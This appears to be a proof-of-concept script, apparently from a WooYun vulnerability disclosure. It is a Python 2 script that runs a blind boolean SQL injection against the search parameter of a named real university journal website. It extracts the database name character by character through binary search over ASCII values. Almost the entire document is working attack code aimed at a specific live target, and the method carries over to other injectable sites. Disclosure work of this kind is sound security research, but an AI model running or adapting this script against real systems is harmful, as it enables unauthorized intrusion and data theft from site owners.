WooYun.org

#coding=utf-8
import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL,data):
    #print URL
    user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
    req = urllib2.Request(URL, data, user_agent)
        
    try:
        request = urllib2.urlopen(req)
        
    except HTTPError, e:
        if e.code == 500:
            return 'Runtime Error'
        
    except URLError, e:
        #print('[!] We failed to reach a server.')
        #print('[!] Reason: ' + str(e.reason))
        sys.exit(1)
        
    return request.read()
def binary_sqli(left, right, index):
   global result
   while 1:
        mid = (left + right)/2
        if mid == left:
            result += chr(mid)
            print 'db_name: ' ,result
            break
        payload = "a' and lower(ascii(substring(db_name(),%s,1)))<%s or '1'='1" % (index, mid)
        param = {'ks_keyword': payload}
        html = request('http://crpe.ruc.edu.cn/CN/article/searchArticle.do',urllib.urlencode(param)) 
        
        verify = 'Vol. 5'
        if verify  in html:
            right = mid
        else:
            left = mid
                   
if __name__ == '__main__':
    for i in range(1,9):
        binary_sqli(32, 127, i)